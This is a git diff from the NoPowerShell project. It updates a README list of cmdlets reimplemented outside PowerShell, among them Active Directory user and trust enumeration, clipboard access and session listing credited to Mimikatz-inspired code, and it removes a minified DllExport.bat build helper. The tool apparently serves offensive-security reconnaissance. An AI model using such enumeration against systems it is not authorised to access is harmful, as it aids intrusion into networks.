/ALL is not implemented yet | +| Get-ADObject | ActiveDirectory | | +| Get-ADUser | ActiveDirectory | | +| Get-ADTrust | ActiveDirectory | | +| Get-WinStation | Additional | | | Get-RemoteSmbShare | Additional | | -| Get-Command | Core | | -| Get-Help | Core | | +| Get-Whoami | Additional | whoami.exe /ALL is not implemented yet | +| Expand-Archive | Archive | Requires .NET 4.5+ | +| Compress-Archive | Archive | Requires .NET 4.5+ | | Where-Object | Core | | +| Get-Help | Core | | +| Get-Command | Core | | | Resolve-DnsName | DnsClient | | | Get-LocalGroup | LocalAccounts | | | Get-LocalGroupMember | LocalAccounts | | | Get-LocalUser | LocalAccounts | | +| Get-ItemProperty | Management | | +| Invoke-WmiMethod | Management | | +| Remove-Item | Management | | | Copy-Item | Management | | -| Get-ChildItem | Management | | | Get-Content | Management | | -| Get-ItemProperty | Management | | +| Get-ChildItem | Management | | +| Get-WmiObject | Management | | | Get-Process | Management | | | Stop-Process | Management | | +| Get-HotFix | Management | | | Get-PSDrive | Management | | -| Get-WmiObject | Management | | -| Get-HotFix| Management | | -| Invoke-WmiMethod | Management | Quick & dirty implementation | -| Remove-Item | Management | | -| Get-ComputerInfo | Management | Few fields still need to be added to mimic systeminfo.exe | -| Get-NetIPAddress | NetTCPIP | | +| Get-ItemPropertyValue | Management | | +| Set-Clipboard | Management | | +| Get-DnsClientCache | Management | | +| Get-ComputerInfo | Management | | +| Get-Clipboard | Management | | | Get-NetRoute | NetTCPIP | | -| Test-NetConnection | NetTCPIP | | +| Get-NetIPAddress | NetTCPIP | | | Get-NetNeighbor | NetTCPIP | No support for IPv6 yet | +| Test-NetConnection | NetTCPIP | | +| Get-GetNetTCPConnection | NetTCPIP | | +| Get-SmbShare | SmbShare | | | Get-SmbMapping | SmbShare | | -| Format-List | Utility | | | Format-Table | Utility | | -| Invoke-WebRequest | Utility | -| Measure-Object | Utility | -| Select-Object | Utility | +| Sort-Object | Utility | | +| Export-Csv | Utility | | +| Format-List | Utility | | +| Select-Object | Utility | | +| Out-File | Utility | | +| Write-Output | Utility | | +| Invoke-WebRequest | Utility | | +| Measure-Object | Utility | | + +Also make sure to check out the [Cheatsheet](https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md) for examples on how to use these cmdlets. # Acknowledgements Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other developers. @@ -123,6 +150,9 @@ Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other | Michael Conrad | https://github.com/MichaCo/ | Parts of the Resolve-Dns cmdlet are based on the code of the DnsClient.Net project | | Rex Logan | https://stackoverflow.com/a/1148861 | Most code of the Get-NetNeighbor cmdlet originates from his StackOverflow post | | PowerShell developers | https://github.com/PowerShell/ | Code of NoPowerShell DLL is largely based on the code handling the console input of PowerShell | - +| Benjamin Delpy | https://github.com/gentilkiwi/ | Code of Get-WinStation is inspired by the code of Mimikatz' ts::sessions command | +| Dan Ports | https://github.com/danports/ | Marshalling code of Get-Winstation is partially copied from the Cassia project | +| Mazdak | https://www.codeproject.com/Articles/2937/Getting-local-groups-and-member-names-in-C | Native function calls for the Get-LocalGroupMember cmdlet | +| Rex Logan | https://stackoverflow.com/a/1148861 | Code of Get-NetNeighbor cmdlet | **Authored by Arris Huijgen ([@bitsadmin](https://twitter.com/bitsadmin/) - https://github.com/bitsadmin/)** diff --git a/Source/DllExport.bat b/Source/DllExport.bat index 42452f6..8c4603a 100644 --- a/Source/DllExport.bat +++ b/Source/DllExport.bat @@ -1,469 +1,509 @@ -@echo off -:: Copyright (c) 2016-2019 Denis Kuzmin [ entry.reg@gmail.com ] -:: https://github.com/3F/DllExport -if "%~1"=="/?" goto bl -set "aa=%~dpnx0" -set ab=%* -set ac=%* -if defined ab ( -if defined __p_call ( -set ac=%ac:^^=^% -) else ( -set ab=%ab:^=^^% -) -) -set wMgrArgs=%ac% -set ad=%ab:!=^!% -setlocal enableDelayedExpansion -set "ae=^" -set "ad=!ad:%%=%%%%!" -set "ad=!ad:&=%%ae%%&!" -set "af=1.6.4" -set "wAction=Configure" -set "ag=DllExport" -set "ah=tools/net.r_eg.DllExport.Wizard.targets" -set "ai=packages" -set "aj=https://www.nuget.org/api/v2/package/" -set "ak=build_info.txt" -set "al=!aa!" -set "wRootPath=!cd!" -set "am=" -set "an=" -set "ao=" -set "ap=" -set "aq=" -set "ar=" -set "as=" -set "at=" -set "au=" -set /a av=0 -if not defined ab ( -if defined wAction goto bm -goto bl -) -call :bn bg !ad! bh -goto bo -:bl -echo. -@echo DllExport - v1.6.4.15293 [ f864a40 ] -@echo Copyright (c) 2009-2015 Robert Giesecke -@echo Copyright (c) 2016-2019 Denis Kuzmin [ entry.reg@gmail.com ] GitHub/3F -echo. -echo Licensed under the MIT license -@echo https://github.com/3F/DllExport -echo. -echo Based on hMSBuild and includes GetNuTool core: https://github.com/3F -echo. -@echo. -@echo Usage: DllExport [args to DllExport] [args to GetNuTool core] -echo ------ -echo. -echo Arguments: -echo ---------- -echo -action {type} - Specified action for Wizard. Where {type}: -echo * Configure - To configure DllExport for specific projects. -echo * Update - To update pkg reference for already configured projects. -echo * Restore - To restore configured DllExport. -echo * Export - To export configured projects data. -echo * Recover - To re-configure projects via predefined/exported data. -echo * Unset - To unset all data from specified projects. -echo * Upgrade - Aggregates an Update action with additions for upgrading. -echo. -echo -sln-dir {path} - Path to directory with .sln files to be processed. -echo -sln-file {path} - Optional predefined .sln file to be processed. -echo -metalib {path} - Relative path from PkgPath to DllExport meta library. -echo -dxp-target {path} - Relative path to entrypoint wrapper of the main core. -echo -dxp-version {num} - Specific version of DllExport. Where {num}: -echo * Versions: 1.6.0 ... -echo * Keywords: -echo `actual` - Unspecified local/latest remote version; -echo ( Only if you know what you are doing ) -echo. -echo -msb {path} - Full path to specific msbuild. -echo -packages {path} - A common directory for packages. -echo -server {url} - Url for searching remote packages. -echo -proxy {cfg} - To use proxy. The format: [usr[:pwd]@]host[:port] -echo -pkg-link {uri} - Direct link to package from the source via specified URI. -echo -force - Aggressive behavior, e.g. like removing pkg when updating. -echo -mgr-up - Updates this manager to version from '-dxp-version'. -echo -wz-target {path} - Relative path to entrypoint wrapper of the main wizard. -echo -pe-exp-list {module} - To list all available exports from PE32/PE32+ module. -echo -eng - Try to use english language for all build messages. -echo -GetNuTool {args} - Access to GetNuTool core. https://github.com/3F/GetNuTool -echo -debug - To show additional information. -echo -version - Displays version for which (together with) it was compiled. -echo -build-info - Displays actual build information from selected DllExport. -echo -help - Displays this help. Aliases: -help -h -echo. -echo ------ -echo Flags: -echo ------ -echo __p_call - To use the call-type logic when invoking %~nx0 -echo. -echo -------- -echo Samples: -echo -------- -echo DllExport -action Configure -echo DllExport -action Restore -sln-file "Conari.sln" -echo DllExport -proxy guest:1234@10.0.2.15:7428 -action Configure -echo DllExport -action Configure -force -pkg-link http://host/v1.6.1.nupkg -echo. -echo DllExport -build-info -echo DllExport -debug -restore -sln-dir ..\ -echo DllExport -mgr-up -dxp-version 1.6.1 -echo DllExport -action Upgrade -dxp-version 1.6.1 -echo. -echo DllExport -GetNuTool -unpack -echo DllExport -GetNuTool /p:ngpackages="Conari;regXwild" -echo DllExport -pe-exp-list bin\Debug\regXwild.dll -goto bp -:bo -set /a aw=0 -:bq -set ax=!bg[%aw%]! -if [!ax!]==[-help] ( goto bl ) else if [!ax!]==[-h] ( goto bl ) else if [!ax!]==[-?] ( goto bl ) -if [!ax!]==[-debug] ( -set am=1 -goto br -) else if [!ax!]==[-action] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wAction=!v! -for %%g in (Restore, Configure, Update, Export, Recover, Unset, Upgrade, Default) do ( -if "!v!"=="%%g" goto br -) -echo Unknown -action !v! -exit/B 1 -) else if [!ax!]==[-sln-dir] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wSlnDir=!v! -goto br -) else if [!ax!]==[-sln-file] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wSlnFile=!v! -goto br -) else if [!ax!]==[-metalib] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wMetaLib=!v! -goto br -) else if [!ax!]==[-dxp-target] ( set /a "aw+=1" & call :bs bg[!aw!] v -set wDxpTarget=!v! -goto br -) else if [!ax!]==[-dxp-version] ( set /a "aw+=1" & call :bs bg[!aw!] v -set af=!v! -goto br -) else if [!ax!]==[-msb] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ao=!v! -goto br -) else if [!ax!]==[-packages] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ai=!v! -goto br -) else if [!ax!]==[-server] ( set /a "aw+=1" & call :bs bg[!aw!] v -set aj=!v! -goto br -) else if [!ax!]==[-proxy] ( set /a "aw+=1" & call :bs bg[!aw!] v -set at=!v! -goto br -) else if [!ax!]==[-pkg-link] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ap=!v! -goto br -) else if [!ax!]==[-force] ( -set ar=1 -goto br -) else if [!ax!]==[-mgr-up] ( -set as=1 -goto br -) else if [!ax!]==[-wz-target] ( set /a "aw+=1" & call :bs bg[!aw!] v -set ah=!v! -goto br -) else if [!ax!]==[-pe-exp-list] ( set /a "aw+=1" & call :bs bg[!aw!] v -set aq=!v! -goto br -) else if [!ax!]==[-eng] ( -chcp 437 >nul -goto br -) else if [!ax!]==[-GetNuTool] ( -call :bt "accessing to GetNuTool ..." -for /L %%p IN (0,1,8181) DO ( -if "!ay:~%%p,10!"=="-GetNuTool" ( -set az=!ay:~%%p! -call :bu !az:~10! -set /a av=%ERRORLEVEL% -goto bp -) -) -call :bt "!ax! is corrupted: !ay!" -set /a av=1 -goto bp -) else if [!ax!]==[-version] ( -@echo v1.6.4.15293 [ f864a40 ] -goto bp -) else if [!ax!]==[-build-info] ( -set an=1 -goto br -) else if [!ax!]==[-tests] ( set /a "aw+=1" & call :bs bg[!aw!] v -set au=!v! -goto br -) else ( -echo Incorrect key: !ax! -set /a av=1 -goto bp -) -:br -set /a "aw+=1" & if %aw% LSS !bh! goto bq -:bm -call :bt "dxpName = " ag -call :bt "dxpVersion = " af -call :bt "-sln-dir = " wSlnDir -call :bt "-sln-file = " wSlnFile -call :bt "-metalib = " wMetaLib -call :bt "-dxp-target = " wDxpTarget -call :bt "-wz-target = " ah -if defined af ( -if "!af!"=="actual" ( -set "af=" -) -) -if z%wAction%==zUpgrade ( -call :bt "Upgrade is on" -set as=1 -set ar=1 -) -call :bv ai -set "ai=!ai!\\" -set "a0=!ag!" -set "wPkgPath=!ai!!ag!" -if defined af ( -set "a0=!a0!/!af!" -set "wPkgPath=!wPkgPath!.!af!" -) -if defined ar ( -if exist "!wPkgPath!" ( -call :bt "Removing old version before continue. '-force' key rule. " wPkgPath -rmdir /S/Q "!wPkgPath!" -) -) -set a1="!wPkgPath!\\!ah!" -call :bt "wPkgPath = " wPkgPath -if not exist !a1! ( -if exist "!wPkgPath!" ( -call :bt "Trying to replace obsolete version ... " wPkgPath -rmdir /S/Q "!wPkgPath!" -) -call :bt "-pkg-link = " ap -call :bt "-server = " aj -if defined ap ( -set aj=!ap! -if "!aj::=!"=="!aj!" ( -set aj=!cd!/!aj! -) -if "!wPkgPath::=!"=="!wPkgPath!" ( -set "a2=../" -) -set "a0=:!a2!!wPkgPath!|" -) -if defined ao ( -set a3=-msbuild "!ao!" -) -set a4=!a3! /p:ngserver="!aj!" /p:ngpackages="!a0!" /p:ngpath="!ai!" /p:proxycfg="!at!" -call :bt "GetNuTool call: " a4 -if defined am ( -call :bu !a4! -) else ( -call :bu !a4! >nul -) -) -if defined aq ( -"!wPkgPath!\\tools\\PeViewer.exe" -list -pemodule "!aq!" -set /a av=%ERRORLEVEL% -goto bp -) -if defined an ( -call :bt "buildInfo = " wPkgPath ak -if not exist "!wPkgPath!\\!ak!" ( -echo information about build is not available. -set /a av=2 -goto bp -) -type "!wPkgPath!\\!ak!" -goto bp -) -if not exist !a1! ( -echo Something went wrong. Try to use another keys. -set /a av=2 -goto bp -) -call :bt "wRootPath = " wRootPath -call :bt "wAction = " wAction -call :bt "wMgrArgs = " wMgrArgs -if defined ao ( -call :bt "Use specific MSBuild tools: " ao -set a5="!ao!" -goto bw -) -call :bx bi & set a5="!bi!" -if "!ERRORLEVEL!"=="0" goto bw -echo MSBuild tools was not found. Try with `-msb` key. -set /a av=2 -goto bp -:bw -if not defined a5 ( -echo Something went wrong. Use `-debug` key for details. -set /a av=2 -goto bp -) -if not defined au ( -call :bt "Target: " a5 a1 -!a5! /nologo /v:m /m:4 !a1! -) -:bp -if defined au ( -echo Running Tests ... "!au!" -call :bx bj -"!bj!" /nologo /v:m /m:4 "!au!" -exit/B 0 -) -if defined as ( -(copy /B/Y "!wPkgPath!\\DllExport.bat" "!al!" > nul) && ( echo Manager has been updated. & exit/B !av! ) || ( echo -mgr-up failed. & exit/B %ERRORLEVEL% ) -) -exit/B !av! -:bx -call :bt "Searching from .NET Framework - .NET 4.0, ..." -for %%v in (4.0, 3.5, 2.0) do ( -call :by %%v Y & if defined Y ( -set %1=!Y! -exit/B 0 -) -) -call :bt "msb -netfx: not found" -set "%1=" -exit/B 2 -:by -call :bt "check %1" -for /F "usebackq tokens=2* skip=2" %%a in ( -`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%1" /v MSBuildToolsPath 2^> nul` -) do if exist %%b ( -set a6=%%~b -call :bt ":msbfound " a6 -call :bz a6 bk -set %2=!bk! -exit/B 0 -) -set "%2=" -exit/B 0 -:bz -set %2=!%~1!\MSBuild.exe -exit/B 0 -:bt -if defined am ( -set a7=%1 -set a7=!a7:~0,-1! -set a7=!a7:~1! -echo.[%TIME% ] !a7! !%2! !%3! -) -exit/B 0 -:bv -call :b0 %1 -call :b1 %1 -exit/B 0 -:b0 -call :b2 %1 "-=1" -exit/B 0 -:b1 -call :b2 %1 "+=1" -exit/B 0 -:b2 -set a8=z!%1!z -if "%~2"=="-=1" (set "a9=1") else (set "a9=") -if defined a9 ( -set /a "i=-2" -) else ( -set /a "i=1" -) -:b3 -if "!a8:~%i%,1!"==" " ( -set /a "i%~2" -goto b3 -) -if defined a9 set /a "i+=1" -if defined a9 ( -set "%1=!a8:~1,%i%!" -) else ( -set "%1=!a8:~%i%,-1!" -) -exit/B 0 -:bn -set "a_=%~1" -set /a aw=-1 -:b4 -set /a aw+=1 -set %a_%[!aw!]=%~2 -shift & if not "%~3"=="" goto b4 -set /a aw-=1 -set %1=!aw! -exit/B 0 -:bs -set %2=!%1! -exit/B 0 -:bu -setlocal disableDelayedExpansion -@echo off -:: GetNuTool - Executable version -:: Copyright (c) 2015-2018 Denis Kuzmin [ entry.reg@gmail.com ] -:: https://github.com/3F/GetNuTool -set ba=gnt.core -set bb="%temp%\%random%%random%%ba%" -if "%~1"=="-unpack" goto b5 -set bc=%* -if defined __p_call if defined bc set bc=%bc:^^=^% -set bd=%__p_msb% -if defined bd goto b6 -if "%~1"=="-msbuild" goto b7 -for %%v in (4.0, 14.0, 12.0, 3.5, 2.0) do ( -for /F "usebackq tokens=2* skip=2" %%a in ( -`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` -) do if exist %%b ( -set bd="%%~b\MSBuild.exe" -goto b6 -) -) -echo MSBuild was not found. Try -msbuild "fullpath" args 1>&2 -exit/B 2 -:b7 -shift -set bd=%1 -shift -set be=%bc:!= #__b_ECL## % -setlocal enableDelayedExpansion -set be=!be:%%=%%%%! -:b8 -for /F "tokens=1* delims==" %%a in ("!be!") do ( -if "%%~b"=="" ( -call :b9 !be! -exit/B %ERRORLEVEL% -) -set be=%%a #__b_EQ## %%b -) -goto b8 -:b9 -shift & shift -set "bc=" -:b_ -set bc=!bc! %1 -shift & if not "%~2"=="" goto b_ -set bc=!bc: #__b_EQ## ==! -setlocal disableDelayedExpansion -set bc=%bc: #__b_ECL## =!% -:b6 -call :ca -%bd% %bb% /nologo /p:wpath="%~dp0/" /v:m /m:4 %bc% -set "bd=" -set bf=%ERRORLEVEL% -del /Q/F %bb% -exit/B %bf% -:b5 -set bb="%~dp0\%ba%" -echo Generating minified version in %bb% ... -:ca -%bb% -set a=PropertyGroup&set b=Condition&set c=ngpackages&set d=Target&set e=DependsOnTargets&set f=TaskCoreDllPath&set g=MSBuildToolsPath&set h=UsingTask&set i=CodeTaskFactory&set j=ParameterGroup&set k=Reference&set l=Include&set m=System&set n=Using&set o=Namespace&set p=IsNullOrEmpty&set q=return&set r=string&set s=delegate&set t=foreach&set u=WriteLine&set v=Combine&set w=Console.WriteLine&set x=Directory&set y=GetNuTool&set z=StringComparison&set _=EXT_NUSPEC -^